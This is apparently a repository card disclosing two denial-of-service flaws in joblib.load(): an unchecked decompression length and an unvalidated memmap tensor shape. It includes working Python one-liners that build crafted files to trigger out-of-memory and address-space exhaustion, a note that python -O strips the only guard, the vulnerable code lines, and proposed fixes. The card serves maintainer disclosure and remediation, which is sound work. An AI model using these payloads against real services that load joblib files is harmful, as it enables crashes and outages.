You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Joblib Format Parsing Vulnerability PoC

Description

This repository contains Proof-of-Concept files demonstrating input-validation vulnerabilities in joblib.load() that lead to Memory Corruption and Denial of Service via Out-of-Memory (OOM) exhaustion and Virtual Address Space (VAS) exhaustion.

The vulnerabilities are located in joblib's own binary format parsers β€” they are triggered solely by parsing attacker-controlled file fields, prior to any application-level logic.

File Bug Impact
dos_zlib_oom.joblib Unchecked ZFile header length field passed as zlib.decompress() buffer size OOM / process crash
dos_mmap_virt.joblib Unvalidated tensor shape from file passed directly to numpy.memmap VAS exhaustion / process crash

Product: joblib
Tested Version: 1.5.0 (all prior versions affected)
CVE: Pending
Severity: High (CVSS 7.5) β€” Denial of Service, no authentication required
CWE: CWE-789 (Uncontrolled Memory Allocation), CWE-400 (Uncontrolled Resource Consumption)


Disclaimer

For educational and security research purposes only.
These files and techniques are provided solely to assist library maintainers in reproducing, understanding, and fixing the reported vulnerabilities. Do not use against systems or software without explicit written authorisation. The author assumes no liability for misuse.


Prerequisites

pip install joblib numpy   # tested on joblib 1.5.0, numpy 1.26.4, Python 3.11

Reproduction Steps

Bug A β€” OOM via Unchecked ZFile Header (dos_zlib_oom.joblib)

The legacy ZFile format stores the expected decompressed length as a 20-character ASCII hex field. read_zfile() in numpy_pickle_compat.py passes this value without any upper-bound check as the bufsize argument to zlib.decompress(), causing CPython to allocate a buffer of attacker-specified size before any decompression occurs.

Step 1 β€” Trigger with assertions enabled (baseline)

python3 -c "import joblib; joblib.load('dos_zlib_oom.joblib')"

Expected:

AssertionError: Incorrect data length while decompressing ...

The assert len(data) == length guard fires. This is the only bounds check in the code path.

Step 2 β€” Bypass the assert with -O (production deployments)

python3 -O -c "import joblib; joblib.load('dos_zlib_oom.joblib')"

Expected:

KeyError: 0

Python's -O flag strips all assert statements at compile time. Execution continues past the length mismatch with corrupt decompressed data. In a real-world payload where the content decompresses to exactly HUGE_LEN bytes, CPython allocates the full buffer β€” MemoryError / OOM-kill with no remaining guard.

Step 3 β€” Full OOM trigger (9 EB header)

python3 -c "
import io, zlib, joblib
from joblib.numpy_pickle_compat import _ZFILE_PREFIX, _MAX_LEN
HUGE = 0x7fffffffffffffff
hf = '{:#x}'.format(HUGE).ljust(_MAX_LEN).encode('latin1')
payload = _ZFILE_PREFIX + hf + zlib.compress(b'\x00' * 4096, 1)
open('/tmp/oom_full.joblib', 'wb').write(payload)
joblib.load('/tmp/oom_full.joblib')
"

Expected: MemoryError or OOM-kill by the OS.


Bug B β€” VAS Exhaustion via Unvalidated Tensor Shape (dos_mmap_virt.joblib)

NumpyArrayWrapper is a metadata record embedded in the joblib stream that describes a stored tensor. When loading with mmap_mode != None, read_mmap() in numpy_pickle.py calls numpy.memmap using self.shape and self.dtype directly from the parsed record β€” without verifying that prod(shape) x itemsize fits within the remaining bytes of the file.

Step 1 β€” Trigger with the provided PoC file

python3 -c "import joblib; joblib.load('dos_mmap_virt.joblib', mmap_mode='r')"

Expected:

ValueError: mmap length is greater than file size

This exception is raised by numpy.memmap after joblib passes the unvalidated shape to the OS mapping layer β€” confirming the value travels from the file to mmap(2) without any bounds check in joblib.

Step 2 β€” Full VAS exhaustion (64-bit host)

# Create a 4 GiB sparse file (no disk space consumed on most filesystems):
truncate -s 4294967296 /tmp/large_stub.bin

python3 -c "
import io, joblib, numpy as np
from joblib.numpy_pickle import NumpyArrayWrapper, NumpyPickler

w = NumpyArrayWrapper(np.ndarray, (2**30,), 'C', np.dtype('float32'), True, 16)
buf = io.BytesIO()
NumpyPickler(buf, protocol=4).dump(w)
buf.write(b'\x00')
buf.write(b'\xAB' * 16)
open('/tmp/vas_exploit.joblib', 'wb').write(buf.getvalue())
joblib.load('/tmp/vas_exploit.joblib', mmap_mode='r')
"

Expected: OS creates a 4 GiB virtual mapping β€” VAS exhaustion β€” process crash or system instability.


Vulnerable Code Locations

Bug A

joblib/numpy_pickle_compat.py β€” read_zfile(), lines 36–56

length = int(length, 16)                                # no upper-bound check
data = zlib.decompress(file_handle.read(), 15, length)  # allocates 'length' bytes upfront
assert len(data) == length                              # stripped by python -O

Bug B

joblib/numpy_pickle.py β€” NumpyArrayWrapper.read_mmap(), lines 215–237

marray = make_memmap(
    unpickler.filename,
    dtype=self.dtype,
    shape=self.shape,   # from file β€” never validated against remaining file bytes
    ...
)

Recommended Fixes

Bug A: Add an explicit upper-bound check before zlib.decompress(); replace assert with an unconditional if/raise.

MAX_DECOMPRESSED = 2 * 1024 ** 3
if length > MAX_DECOMPRESSED:
    raise ValueError(f"Declared decompressed length {length} exceeds limit")

Bug B: Validate prod(shape) * itemsize against os.fstat().st_size - offset before calling make_memmap().

import math, os
logical_bytes = math.prod(self.shape) * np.dtype(self.dtype).itemsize
remaining = os.fstat(unpickler.file_handle.fileno()).st_size - current_pos
if logical_bytes > remaining:
    raise ValueError(f"Declared tensor size {logical_bytes} B exceeds file content ({remaining} B)")

All testing was performed in a local, isolated sandboxed environment.
No production systems were accessed or harmed during this research.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support